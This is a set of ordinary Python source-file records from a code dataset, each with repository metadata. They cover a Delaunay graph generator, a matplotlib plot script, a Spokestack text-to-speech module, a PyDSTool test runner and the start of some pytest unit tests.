self.numNodes=numNodes\r\n        plt.close()\r\n        self.buildGraph()\r\n        self.plot()\r\n\r\n    # Lets you interactively edit a graph to whack out edges\r\n    def edit(self):\r\n        entry=\"\"\r\n        print(\"Edit Mode:  {k/b}a,b to kill/build an edge between a,b ;  r to replot, q to quit\")\r\n        while True:\r\n            plt.pause(0.05)\r\n            entry=input(\"What now?\")\r\n            entry = entry.strip()\r\n            if entry=='r':\r\n                self.replot()\r\n            elif entry=='q': break\r\n            else:\r\n                command=entry[0]\r\n                [start,end]=entry[1:].split(',')\r\n                if command=='b': self.buildEdge(start,end)\r\n                else: self.whackEdge(start,end)\r\n        print(\"End Edit mode\")\r\n\r\n\r\n    # This method lets one whack out edges.  So you can edit away edges after you generate the graph!\r\n    def whackEdge(self,node1,node2):\r\n        node1=node1.upper()\r\n        node2=node2.upper()\r\n        newEdges=[]\r\n        for edge in self.edges:\r\n            if edge.connects(node1,node2):  # whack the edge\r\n                plt.plot([edge.x1, edge.x2], [edge.y1, edge.y2], 'b-', color='w', linewidth=0.5)  # make the lines\r\n                plt.text(edge.midx, edge.midy, edge.label, size='x-small', color='w')  # label the edge at its midpoint\r\n                plt.pause(0.05)\r\n            else: newEdges.append(edge)\r\n        self.edges=newEdges\r\n\r\n    def buildEdge(self,node1,node2):\r\n        node1 = node1.upper()\r\n        node2 = node2.upper()\r\n        for edge in self.edges:  # avoid building redundant new edges!\r\n            if edge.connects(node1,node2):\r\n                print(\"already an edge  from \"+node1+\" to \"+node2)\r\n                return\r\n        p1=self.nodeLocation(node1)\r\n        p2=self.nodeLocation(node2)\r\n        if p1!=0 and p2!=0:    # both nodes exist\r\n            print(\"building edge!\")\r\n            edge=Edge(p1,p2, self.distDistortion)  # make a new edge\r\n            edge.setLabels(node1,node2)\r\n            self.edges.append(edge)\r\n            plt.plot([edge.x1, edge.x2], [edge.y1, edge.y2], 'b-', color='k', linewidth=0.5)  # make the lines\r\n            plt.text(edge.midx, edge.midy, edge.label, size='x-small',color='k')  # label the edge at its midpoint\r\n        else: print(\"start or end node doesn't exist\")\r\n\r\n\r\n    # Just kill and redraw the plot.  Useful after you've edited the graph\r\n    def replot(self):\r\n        plt.close()\r\n        self.plot()\r\n        plt.show()\r\n\r\n\r\n    # MAIN WORKER:  Does the actual work of building a Roadmap.\r\n    # The biggest challenge here is linking the given points with a *non-intersecting* set of edges.  In other words,\r\n    # we would like a \"planar graph\" imposed on these points. This is what Delauney function gives us:  it basically\r\n    # finds non-overlapping triangles that cover all points; any one point is often a vertex in multiple triagles of\r\n    # the \"puzzle\" of triangles produced.  We then need to extract unique edges and the nodes from this.\r\n    def buildGraph(self):\r\n        pointsArray = self.genPoints()  # makes the array of (x,y) points to connect\r\n        tri=graph.Delaunay(pointsArray)  # creates a planar graph on the given points. Creates a tri data structure.\r\n        triangles=pointsArray[tri.simplices]  # list of triplets of three points. Each set of three points marks a\r\n        # triangle laid out by Delauney.  Next need to extract the edges (point-to-point connections) from this.\r\n        # Now extract the unique edges from all the triangles to generate all edges in the graph\r\n        self.makeEdges(triangles)  # populates self.edges with Edge objects\r\n        # Finally, turn the points array into actual Node objects.\r\n        Node.reset(Node)  # Starts Node labeling at 'A'\r\n        self.nodes=list(map(Node,pointsArray[:,0], pointsArray[:,1]))  #populates self.nodes with Node objects\r\n        self.labelEdges()  # Just to make edge objects complete, go back and add endlabel (nodelabels) to those objects\r\n\r\n\r\n    #  Makes all the edges in the new graph, based on the array of tris (basically triagles) produced by Delauney and\r\n    # pass in.  Appends the new edges to the \"edges\" array.\r\n    def makeEdges(self,triArray):\r\n        edges = []  # temp array holding unique ((x,y),(x1,y1)) edge segments found so far\r\n\r\n        # an important helper. When we extract a new edges from a triagle, it might well be the duplicate\r\n        # of an edge from an adjacent triangle created by Delauney.\r\n        def checkAddAdj(adjs):\r\n            for adj in adjs:\r\n                if (adj in edges) or ((adj[1], adj[0]) in edges):  # if edges already in there, skip it\r\n                    continue\r\n                else:\r\n                    edges.append((adj[0], adj[1]))\r\n        # go through the triangle array, extract each edge, check that we don't have it already, and add to edges.\r\n        for triplet in triArray:\r\n            s = list(map(list,triplet))\r\n            adjs = [(s[0], s[1]), (s[1], s[2]), (s[2], s[0])]  # extracting the arcs between the points\r\n            checkAddAdj(adjs)\r\n\r\n        # okay, now edges array contains all unique edge segment.  Now make edge objects out of them!\r\n        # use edgeLoss value to randomly drop some pct of Edges\r\n        for edge in edges:\r\n            if (np.random.rand() > self.edgeLoss):\r\n                self.edges.append(Edge(edge[0],edge[1],self.distDistortion))  #make Edge object\r\n            else: print(\"blip\")\r\n\r\n    # For each edge, finds the label for its endpoints in the nodes, and adds to edge object.\r\n    def labelEdges(self):\r\n        for edge in self.edges:\r\n            edge.endlabel1=self.getNodeAtXY(edge.p1).label\r\n            edge.endlabel2=self.getNodeAtXY(edge.p2).label\r\n\r\n    # Function to ask the roadgraph to plot itself.  If not interactive, need to call plot.show() to see it.\r\n    def plot(self):\r\n        plt.ion # turn on interactive mode.  Not sure if it's critical\r\n        #  first plot the nodes\r\n        plt.plot([x.x for x in self.nodes], [x.y for x in self.nodes], 'ko', color=\"#BBBCBD\")  # plot vertices circles first\r\n        for node in self.nodes:  # now plot the labels\r\n            plt.text(node.x, node.y, node.label, color='b', size='large', weight='normal')\r\n        # Now plot in the edges\r\n        for edge in self.edges:\r\n            plt.plot([edge.x1,edge.x2],[edge.y1,edge.y2], 'b-', color='k', linewidth=0.5) # make the lines\r\n            plt.text(edge.midx,edge.midy,edge.label, size='x-small')  # label the edge at its midpoint\r\n\r\n\r\n\r\n    # Function to return the roadgraph as simple list that can be fed to search program.\r\n    # prints it out, one line per edge.  Format (nodeLabel1, nodeLabel2, edgeLabel, ((x1,y1),(x2,y2),(midx,midy)) )\r\n    # if you pass it a text string, it will print to that, else prints to console\r\n    def export(self,outfile=0):\r\n        if outfile != 0:\r\n            outfilename=outfile+\".txt\"\r\n            out=open(outfilename,'w')\r\n        for edge in self.edges:\r\n            theEdge=((self.getNodeAtXY(edge.p1).label,self.getNodeAtXY(edge.p2).label,edge.label))\r\n            locInfo=((edge.p1,edge.p2))\r\n            if outfile:\r\n                out.write(str(theEdge+locInfo)+\"\\n\")\r\n            else:\r\n                print(theEdge+locInfo)\r\n        if outfile: out.close()\r\n        print(\"tada!\")\r\n\r\n\r\n    # Returns a node that is located at a given point\r\n    def getNodeAtXY(self,aPoint):  # gets the Node at location x-y of point\r\n        for node in self.nodes:\r\n            if (node.x==aPoint[0]) and (node.y==aPoint[1]): return node\r\n        return 0\r\n\r\n    # Just returns x-y location of a node, given its label\r\n    def nodeLocation(self,label):  # finds and returns the location of node labeled 'label'\r\n        for node in self.nodes:\r\n            if node.label==label: return [node.x,node.y]\r\n        print(\"nodeLoc: No node with label \"+label+\" exists\")\r\n\r\n    # a key function.  Generates a random set of points that are some minimum distance apart.\r\n    def genPoints(self):\r\n        # While you still need points, generate random points, add to set if min dist from all currently found points.\r\n        points = []  # An array to put your points in as you find them.\r\n        found = 0  # Tracks points found so far\r\n\r\n        # Simple function that checks that candidate points are some min dist from all other points.\r\n        # keeps it from making cluttered graphs!\r\n        def checkpt(apoint, allpoints):\r\n            for point in allpoints:\r\n                dst = graph.distance.euclidean(point, apoint)\r\n                if (dst < self.mindist): return False\r\n            return True\r\n\r\n        while found < self.numNodes:\r\n            p1 = self.expansion * np.random.randn(2)\r\n            if checkpt(p1, points):\r\n                points.append(p1)\r\n                found = found + 1\r\n                # print(\"found one:\"+str(found))\r\n            if len(points) == 0: points.append(p1)\r\n\r\n        # Now just turn the points into a numpy array\r\n        pArray = np.array(points)\r\n        # print(points)\r\n\r\n        # AWESOME.  Now shift all the points into the positive x-y quadrant\r\n        xmin = min(pArray[:, [0]])[0]\r\n        ymin = min(pArray[:, [1]])[0]\r\n        xshift = abs(xmin) + 1\r\n        yshift = abs(ymin) + 1\r\n        posArray = pArray + [xshift, yshift]\r\n        posArray = posArray.astype(int)  # truncate the entire array of points into integer values. Easier!\r\n        return posArray\r\n\r\n\r\n    #mainly for debugging: Functions to have the graph display its edges and nodes\r\n    def show(self):\r\n        print(\"Here is the graph:\")\r\n        print(\"Nodes: \")\r\n        print([x.get() for x in self.nodes])\r\n        print(\"Edges: \")\r\n        print([x.get() for x in self.edges])\r\n\r\n    def die(self):    # just kills any open graph\r\n        plt.close()\r\n\r\n### UNIT TESTING\r\nif __name__ == \"__main__\":\r\n    import sys\r\n    x=GraphMaker(sys.argv[1])\r\n    x.export(sys.argv[2])\r\n\r\n", "meta": {"hexsha": "51c3a722eb68f85299cce82f711d32f2ca8d79ba", "size": 13182, "ext": "py", "lang": "Python", "max_stars_repo_path": "Assignment02/Part02/graphmaker.py", "max_stars_repo_name": "saurabhkakade21/AIS_spring2021", "max_stars_repo_head_hexsha": "784d20670794c405505b09c1feea36e0a504ae5d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Assignment02/Part02/graphmaker.py", "max_issues_repo_name": "saurabhkakade21/AIS_spring2021", "max_issues_repo_head_hexsha": "784d20670794c405505b09c1feea36e0a504ae5d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Assignment02/Part02/graphmaker.py", "max_forks_repo_name": "saurabhkakade21/AIS_spring2021", "max_forks_repo_head_hexsha": "784d20670794c405505b09c1feea36e0a504ae5d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 49.5563909774, "max_line_length": 131, "alphanum_fraction": 0.6236534668, "include": true, "reason": "import numpy,import scipy", "num_tokens": 3203, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.17106118956561076, "lm_q1q2_score": 0.07097309011139417}}
{"text": "from matplotlib import pyplot as plt\nimport numpy as np\nfrom ch1 import count_data\n\nplt.style.use('ggplot')\n\ncolors = [\"#348ABD\", \"#A60628\"]\n\nn_count_data = len(count_data)\n\nplt.bar(np.arange(n_count_data), count_data, color = colors[0])\n\n\nplt.xlabel(\"Time (days)\")\nplt.ylabel(\"Text messages received\")\nplt.title(\"Did user's habits change\")\nplt.show()\n", "meta": {"hexsha": "389d77a3742bef89741e934d7be93bd276f7ecf8", "size": 352, "ext": "py", "lang": "Python", "max_stars_repo_path": "ch1/ch1.2.py", "max_stars_repo_name": "thoolihan/bayes_book", "max_stars_repo_head_hexsha": "3c8898ee0359564555d16df7fa1b029dd0091f03", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2017-09-14T14:22:48.000Z", "max_stars_repo_stars_event_max_datetime": "2017-09-14T14:22:48.000Z", "max_issues_repo_path": "ch1/ch1.2.py", "max_issues_repo_name": "thoolihan/bayes_book", "max_issues_repo_head_hexsha": "3c8898ee0359564555d16df7fa1b029dd0091f03", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ch1/ch1.2.py", "max_forks_repo_name": "thoolihan/bayes_book", "max_forks_repo_head_hexsha": "3c8898ee0359564555d16df7fa1b029dd0091f03", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.5555555556, "max_line_length": 63, "alphanum_fraction": 0.7329545455, "include": true, "reason": "import numpy", "num_tokens": 90, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.1500288224422264, "lm_q1q2_score": 0.0709161453852612}}
{"text": "\"\"\"\nSpokestack-Lite Speech Synthesizer\n\nThis module contains the SpeechSynthesizer class used to convert text to speech\nusing local TTS models trained on the Spokestack platform. A SpeechSynthesizer\ninstance can be passed to the TextToSpeechManager for playback.\n\nExample:\n    This example assumes that a TTS model was downloaded from the Spokestack\n    platform and extracted to the :code:`model` directory. ::\n\n        from spokestack.io.pyaudio import PyAudioOutput\n        from spokestack.tts.manager import TextToSpeechManager, FORMAT_PCM16\n        from spokestack.tts.lite import SpeechSynthesizer, BLOCK_LENGTH, SAMPLE_RATE\n\n        tts = TextToSpeechManager(\n            SpeechSynthesizer(\"./model\"),\n            PyAudioOutput(sample_rate=SAMPLE_RATE, frames_per_buffer=BLOCK_LENGTH),\n            format_=FORMAT_PCM16)\n\n        tts.synthesize(\"Hello world!\")\n\n\"\"\"\n\nimport importlib\nimport json\nimport os\nimport re\nimport typing as T\nfrom collections import defaultdict\n\nimport numpy as np\n\nfrom spokestack.models.tensorflow import TFLiteModel\n\n# signal configuration\nSAMPLE_RATE = 24000\nHOP_LENGTH = 240\nENCODER_PAD = -2\nBREAK_LENGTH = 0.1\n\n# streaming/cross-fading configuration\nFRAME_LENGTH = 63\nFRAME_OVERLAP = 1\nBLOCK_LENGTH = FRAME_LENGTH * HOP_LENGTH\nBLOCK_OVERLAP = FRAME_OVERLAP * HOP_LENGTH\nFADE_OUT = np.linspace(1, 0, BLOCK_OVERLAP, dtype=np.float32)\nFADE_IN = FADE_OUT[::-1]\n\n\nclass SpeechSynthesizer:\n    \"\"\"\n    Initialize a new lightweight speech synthesizer\n\n    Args:\n        model_path (str): Path to the extracted TTS model downloaded from the\n            Spokestack platform\n\n    \"\"\"\n\n    def __init__(self, model_path: str):\n        # load NLP configuration\n        self._lexicon = _load_lexicon(os.path.join(model_path, \"lexicon.txt\"))\n\n        with open(os.path.join(model_path, \"metadata.json\")) as file:\n            metadata = json.load(file)\n\n        lang = metadata[\"language\"]\n        self._sym_to_id = {s: i for i, s in enumerate(metadata[\"alphabet\"])}\n        self._language: T.Any = importlib.import_module(f\"spokestack.tts.lite.{lang}\")\n        self._nlp = self._language.nlp()\n\n        # load the TTS models\n        self._aligner = TFLiteModel(os.path.join(model_path, \"align.tflite\"))\n        self._encoder = TFLiteModel(os.path.join(model_path, \"encode.tflite\"))\n        self._decoder = TFLiteModel(os.path.join(model_path, \"decode.tflite\"))\n        self._aligner_input_index = self._aligner.input_details[0][\"index\"]\n        self._encoder_input_index = self._encoder.input_details[0][\"index\"]\n\n    def synthesize(\n        self, utterance: str, *_args: T.List, **_kwargs: T.Dict\n    ) -> T.Iterator[np.array]:\n        \"\"\"\n        Synthesize a text utterance to speech audio\n\n        Args:\n            utterance (str): The text string to synthesize\n\n        Returns:\n            Iterator[np.array]: A generator for returns a sequence of\n            PCM-16 numpy audio blocks for playback, storage, etc.\n\n        \"\"\"\n\n        # segment sentences into a list of phoneme/grapheme lists\n        for tokens in self._parse(utterance):\n            # convert tokens to a vector of ids\n            inputs = self._vectorize(tokens)\n\n            # run the aligner model\n            self._aligner.resize(self._aligner_input_index, inputs.shape)\n            inputs = self._aligner(inputs)[0]\n\n            # run the encoder model\n            self._encoder.resize(self._encoder_input_index, inputs.shape)\n            encoded = self._encoder(inputs)[0]\n\n            # stream the decoder model and cross-fade the output audio\n            overlap = np.zeros([BLOCK_OVERLAP], dtype=np.float32)\n            for i in range(FRAME_OVERLAP, len(encoded), FRAME_LENGTH):\n                # decode the current frame, padding as need to fill the decoder's input\n                inputs = encoded[i - FRAME_OVERLAP : i + FRAME_LENGTH]\n                inputs = np.pad(\n                    inputs,\n                    [(0, (FRAME_LENGTH + FRAME_OVERLAP) - len(inputs)), (0, 0)],\n                    \"constant\",\n                    constant_values=ENCODER_PAD,\n                )\n                outputs = self._decoder(inputs)[0]\n\n                # fade in the new block, convert to int16 and return it\n                overlap += outputs[:BLOCK_OVERLAP] * FADE_IN\n                block = np.hstack([overlap, outputs[BLOCK_OVERLAP:-BLOCK_OVERLAP]])\n                yield (block * (2 ** 15 - 1)).astype(np.int16)\n\n                # fade out the previous block for mixing with the next block\n                overlap = outputs[-BLOCK_OVERLAP:] * FADE_OUT\n\n            # add a break after each segment\n            yield np.zeros([int(BREAK_LENGTH * SAMPLE_RATE)], dtype=np.int16)\n\n    def _parse(self, text: str) -> T.Iterator[str]:\n        # perform language-specific number conversions, abbreviation expansions, etc.\n        text = self._language.clean(text)\n\n        # escape characters used for phonetic substitution\n        text = re.sub(r\"{\", \"[\", text)\n        text = re.sub(r\"}\", \"]\", text)\n\n        # segment and tokenize the text, and convert words to their phonetic\n        # representations using the attached lexicon\n        for sentence in self._nlp(text).sents:\n            tokens = []\n            for token in sentence:\n                if token.pos_ in [\"SYM\", \"PUNCT\"]:\n                    tokens.append(token.text_with_ws)\n                else:\n                    entry = self._lexicon.get(token.text.lower(), {})\n                    ipa = entry.get(token.tag_, entry.get(None))\n                    tokens.append(\n                        f\"{{{ipa}}}{token.whitespace_}\" if ipa else token.text_with_ws\n                    )\n            yield re.sub(r\"}\\s+{\", \" \", \"\".join(tokens))\n\n    def _vectorize(self, text: str) -> np.array:\n        # start with bos token\n        vector = [self._sym_to_id[\"^\"]]\n\n        while text:\n            # check for curly braces and treat their contents as ipa\n            matches = re.match(r\"(.*?)\\{(.+?)\\}(.*)\", text)\n\n            # no ipa in this block, vectorize graphemes\n            if not matches:\n                vector.extend(self._vectorize_text(text))\n                break\n\n            # ipa found, vectorize leading text, then phones\n            vector.extend(self._vectorize_text(matches.group(1)))\n            vector.extend(self._vectorize_phones(matches.group(2)))\n            text = matches.group(3)\n\n        # append eos token\n        vector.append(self._sym_to_id[\"~\"])\n        return np.array(vector, dtype=np.int32)\n\n    def _vectorize_text(self, text: T.Union[str, T.List[str]]) -> T.List[int]:\n        return [\n            self._sym_to_id[c] for c in text if c in self._sym_to_id and c not in \"_^~\"\n        ]\n\n    def _vectorize_phones(self, phones: str) -> T.List[int]:\n        return self._vectorize_text([f\"@{c}\" if c != \" \" else c for c in phones])\n\n\ndef _load_lexicon(path: str) -> T.Dict[str, T.Dict[T.Optional[str], str]]:\n    lexicon: T.Dict[str, T.Dict[T.Optional[str], str]] = defaultdict(dict)\n\n    with open(path, \"r\") as file:\n        for line in file:\n            # parse the the lexicon entry, discard any alternative pronunciations\n            parts = line.strip().split(\"\\t\")\n            if len(parts) > 1:\n                word = parts[0].lower()\n                ipa = parts[1].split(\",\")[0].strip()\n                pos = parts[2] if len(parts) > 2 else None\n                lexicon[word][pos] = ipa\n\n    return lexicon\n", "meta": {"hexsha": "c8ae8edf8ccec0dba6b78bf497b16d93093e80b1", "size": 7414, "ext": "py", "lang": "Python", "max_stars_repo_path": "spokestack/tts/lite/__init__.py", "max_stars_repo_name": "spokestack/spokestack-python", "max_stars_repo_head_hexsha": "95e451f9ab6ab1af2370d3e1007ebf6739e4765f", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 139, "max_stars_repo_stars_event_min_datetime": "2020-09-01T20:51:11.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-23T09:17:17.000Z", "max_issues_repo_path": "spokestack/tts/lite/__init__.py", "max_issues_repo_name": "spokestack/spokestack-python", "max_issues_repo_head_hexsha": "95e451f9ab6ab1af2370d3e1007ebf6739e4765f", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 41, "max_issues_repo_issues_event_min_datetime": "2020-08-05T13:48:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-21T21:53:10.000Z", "max_forks_repo_path": "spokestack/tts/lite/__init__.py", "max_forks_repo_name": "spokestack/spokestack-python", "max_forks_repo_head_hexsha": "95e451f9ab6ab1af2370d3e1007ebf6739e4765f", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 14, "max_forks_repo_forks_event_min_datetime": "2020-11-24T19:02:49.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T07:59:51.000Z", "avg_line_length": 37.07, "max_line_length": 87, "alphanum_fraction": 0.612624764, "include": true, "reason": "import numpy", "num_tokens": 1739, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.13846180123433285, "lm_q1q2_score": 0.07085320280885582}}
{"text": "\"\"\"\n    Run all PyDSTool tests and examples\n\"\"\"\nimport os, time\nfrom numpy import any\n\n# Set this to be the command you want to use to invoke python\n# in the tests. If None, then the $PYTHON environment variable will\n# be checked first, and if empty 'python' will be used\npythonprogram = None\n\n##### Select which sets of tests to run\n# Test lists have entries on separate lines to make it easier to\n# comment out the ones you don't want\n#\n# Basic PyDSTool modules\ntest_general = True\n# Map generators\ntest_maps = True\n# ODE integration with vode, no external compiler needed\ntest_vode = True\n# Parameter estimation module\ntest_param_est = True\n# Parameter estimation, requires external C compiler\ntest_param_est_C = True\n# Symbolic differentiation module\ntest_symbolic = True\n# Dopri integration; requires external C compiler\ntest_dopri = True\n# Radau stiff integration; requires external C and fortran compilers\ntest_radau = True\n# Continuation; no external compilers needed\ntest_pycont = True\n# Continuation with auto; requires external compilers\ntest_pycont_auto = True\n\n# -------------------------------------------------------\n\n# Basic PyDSTool modules\ngeneral_list = [\n    'test_variable_traj',\n    'traj_gt0_test',\n    'ModelSpec_test',\n    'interp_piecewise_test',\n    'objectdelete_test',\n    ]\n\n# Map generators\nmap_list = [\n    'SLIP_2D_maps'\n    ]\n\n# ODE integration with vode, no external compiler needed\nvode_list = [\n    'poly_interp_test',\n    'vode_withJac_test',\n    'interp_vode_test',\n    'fingermodel_vode',\n    'fingermodel_auxvartest',\n    'test_hybrid_extinputs',\n    'HH_model',\n    'HH_model_testbounds',\n    'HH_loaded',\n    'IF_model_test',\n    'IF_squarespike_model',\n    'IF_delaynet',\n    'forced_spring'\n    ]\n\n# Parameter estimation module\nparam_est_list = [\n    'joe_pest',\n    'pest_test1',\n    'pest_test2',\n    'pest_test3',\n    ]\n\n# Parameter estimation, requires external C compiler\nparam_est_C_list = [\n    'pest_test3_Cintegrator',\n    'pest_test4_Cintegrator'\n    ]\n\n# Symbolic differentiation module\nsymbolic_list = [\n    'Tutorial_SymbolicJac'\n    ]\n\n# Dopri integration; requires external C compiler\ndopri_list = [\n    'imprecise_event_test',\n    'interp_dopri_test',\n    'HH_model_Cintegrator',\n    'HH_loaded_Cintegrator',\n    'IF_delaynet_syn',\n    'CIN',\n    'HH_model_Cintegrator_testbounds',\n    'Dopri_backwards_test'\n    ]\n\n# Radau stiff integration; requires external C and fortran compilers\nradau_list = [\n    'test_hybrid_extinputs_Cintegrator',\n    'SLIP_2D_pdc',\n    'DAE_example',\n    'freefinger_noforce_radau',\n    'sloppycell_example'\n    ]\n\n# Continuation; no external compilers needed\npycont_list = [\n    'PyCont_Brusselator',\n    'PyCont_Catalytic',\n    'PyCont_ABCReaction',\n    'PyCont_DiscPredPrey',\n    'PyCont_Hopfield',\n    'PyCont_hybrid_osc',\n    'PyCont_LevelCurve',\n    'PyCont_Logistic',\n    'PyCont_NewLorenz',\n    'PyCont_PredPrey',\n    'PyCont_SaddleNode',\n    ]\n\n# Continuation with auto; requires external compilers\npycont_auto_list = [\n    'PyCont_MorrisLecar_TypeI',\n    'PyCont_MorrisLecar_TypeII',\n    'PyCont_LPNeuron',\n    'PyCont_HindmarshRose',\n    'PyCont_ABReaction',\n    'PyCont_Hamiltonian',\n    'PyCont_Lorenz',\n    'PyCont_vanDerPol',\n    ]\n\ndo_external = any([test_dopri, test_radau, test_param_est_C, test_pycont_auto])\n\n\n# ----------------------------------------------------------------------------\n\nres = []\nfailed = []\n\ndef test(flist, whichpy=None, infostr=\"\"):\n    if whichpy is None or not whichpy:\n        whichpy = os.getenv(key='PYTHON', default='python')\n\n    failure = False\n    for f in flist:\n        fname = f+'.py'\n        print(\"\\n***** Testing script %s ****************************\\n\"%fname)\n        try:\n            e=os.system(whichpy + ' ' + fname)\n        except:\n            print(\"\\n      Testing failed on test file %s\"%fname)\n            failed.append(fname)\n            if not failure:\n                res.append(\"%s: appears to be broken on your system\"%infostr)\n                failure = True\n        else:\n            if e in [0,3]:\n                print(\"\\n      Testing passed on test file %s\"%fname)\n            else:\n                print(\"\\n      Testing failed on test file %s\"%fname)\n                failed.append(fname)\n                failure = True\n        time.sleep(2)\n    if failure:\n        res.append(\"%s: appears to be broken on your system\"%infostr)\n    else:\n        res.append(\"%s: appears to work on your system\"%infostr)\n\n# ---------------------------------------------------------------------------\n\nprint(\"***** Running all tests in order...\\n\")\nprint(\"Note: Depending on your settings, you may have to close matplotlib windows by hand in order to continue to the next test script\\n\")\n\nif test_general:\n    print(\"Testing general PyDSTool functions...\\n\")\n    test(general_list, pythonprogram, \"Basic PyDSTool functions\")\nelse:\n    res.append(\"Tests of basic PyDSTool functions: SKIPPED\")\n\nif test_maps:\n    print(\"Testing map modules...\\n\")\n    test(map_list, pythonprogram, \"Map related modules\")\nelse:\n    res.append(\"Tests of map related modules: SKIPPED\")\n\nif test_vode:\n    print(\"Testing modules using VODE integrator...\\n\")\n    test(vode_list, pythonprogram, \"VODE related modules\")\nelse:\n    res.append(\"Tests of VODE related modules: SKIPPED\")\n\nif test_symbolic:\n    print(\"Testing symbolic differentiation module...\\n\")\n    test(symbolic_list, pythonprogram, \"Symbolic differentiation module\")\nelse:\n    res.append(\"Tests of symbolic differentiation module: SKIPPED\")\n\nif test_param_est:\n    print(\"Testing parameter estimation module, no C compiler dependence...\\n\")\n    test(param_est_list, pythonprogram, \"Parameter estimation module\")\nelse:\n    res.append(\"Tests of parameter estimation module: SKIPPED\")\n\nif test_pycont:\n    print(\"Testing PyCont module, no external compiler dependence...\\n\")\n    test(pycont_list, pythonprogram, \"PyCont\")\nelse:\n    res.append(\"Tests of PyCont with no external compiler dependence: SKIPPED\")\n\nif do_external:\n    print(\"\\n***** Now running tests that use external compilers...\\n\")\n\nif test_dopri:\n    print(\"Testing dopri integration; external C compiler dependence...\\n\")\n    test(dopri_list, pythonprogram, \"Dopri ODE systems\")\nelse:\n    res.append(\"Tests of Dopri ODE systems: SKIPPED\")\n\nif test_radau:\n    print(\"Testing radau integration; external C, fortran compiler dependence...\\n\")\n    test(radau_list, pythonprogram, \"Radau ODE systems\")\nelse:\n    res.append(\"Tests of Radau ODE systems: SKIPPED\")\n\nif test_param_est_C:\n    print(\"Testing parameter estimation module; with C compiler dependence...\\n\")\n    test(param_est_C_list, pythonprogram, \"Parameter estimation module with external compilers\")\nelse:\n    res.append(\"Tests of parameter estimation module with external compilers: SKIPPED\")\n\nif test_pycont_auto:\n    print(\"Testing PyCont continuation with AUTO...\\n\")\n    test(pycont_auto_list, pythonprogram, \"PyCont interface to AUTO\")\nelse:\n    res.append(\"Tests of PyCont interface to AUTO: SKIPPED\")\n\nif len(failed) == 0:\n    print(\"No test scripts failed\")\nelse:\n    print(\"Test scripts that failed:\")\n    for fname in failed:\n        print(\"\\t%s\"%fname)\n\nprint(\"Summary:\")\nfor r in res:\n    print(r)\n", "meta": {"hexsha": "06015b76136379578de8e8ecc2bbb978d2d90ed3", "size": 7222, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/run_all_tests.py", "max_stars_repo_name": "yuanz271/PyDSTool", "max_stars_repo_head_hexsha": "886c143cdd192aea204285f3a1cb4968c763c646", "max_stars_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-02-04T15:01:31.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-25T16:08:43.000Z", "max_issues_repo_path": "examples/run_all_tests.py", "max_issues_repo_name": "yuanz271/PyDSTool", "max_issues_repo_head_hexsha": "886c143cdd192aea204285f3a1cb4968c763c646", "max_issues_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/run_all_tests.py", "max_forks_repo_name": "yuanz271/PyDSTool", "max_forks_repo_head_hexsha": "886c143cdd192aea204285f3a1cb4968c763c646", "max_forks_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-02-25T14:43:36.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-25T14:43:36.000Z", "avg_line_length": 28.6587301587, "max_line_length": 138, "alphanum_fraction": 0.6697590695, "include": true, "reason": "from numpy", "num_tokens": 1793, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730203630095, "lm_q2_score": 0.16026602430611822, "lm_q1q2_score": 0.07078517901685473}}
{"text": "import pytest\nimport numpy as np\nfrom mesohops.dynamics.hops_aux import AuxiliaryVector\nfrom mesohops.util.exceptions import AuxError\n\n\ndef test_auxvec_ordering():\n    \"\"\"\n    This function test whether an incorrectly ordered array_aux_vex properly raises\n    the correct AuxError\n    \"\"\"\n    aux_1010 = AuxiliaryVector([(0, 1), (2, 1)], 4)\n    assert type(aux_1010) == AuxiliaryVector\n    with pytest.raises(AuxError) as excinfo:\n        aux_1010 = AuxiliaryVector([(2, 1), (0, 1)], 4)\n        assert 'array_aux_vec not properly ordered' in str(excinfo.value)\n\n\ndef test_keys():\n    \"\"\"\n    This function test whether the correct mode indices (keys) are being grabbed by\n    the keys function\n    \"\"\"\n    aux_1010 = AuxiliaryVector([(0, 1), (2, 1)], 4)\n    keys = aux_1010.keys()\n    known_keys = np.array([0, 2])\n    assert np.array_equal(keys, known_keys)\n\n\ndef test_values():\n    \"\"\"\n    This function test whether the correct values are being grabbed by\n    the values function\n    \"\"\"\n    aux_1010 = AuxiliaryVector([(0, 1), (2, 1)], 4)\n    values = aux_1010.values()\n    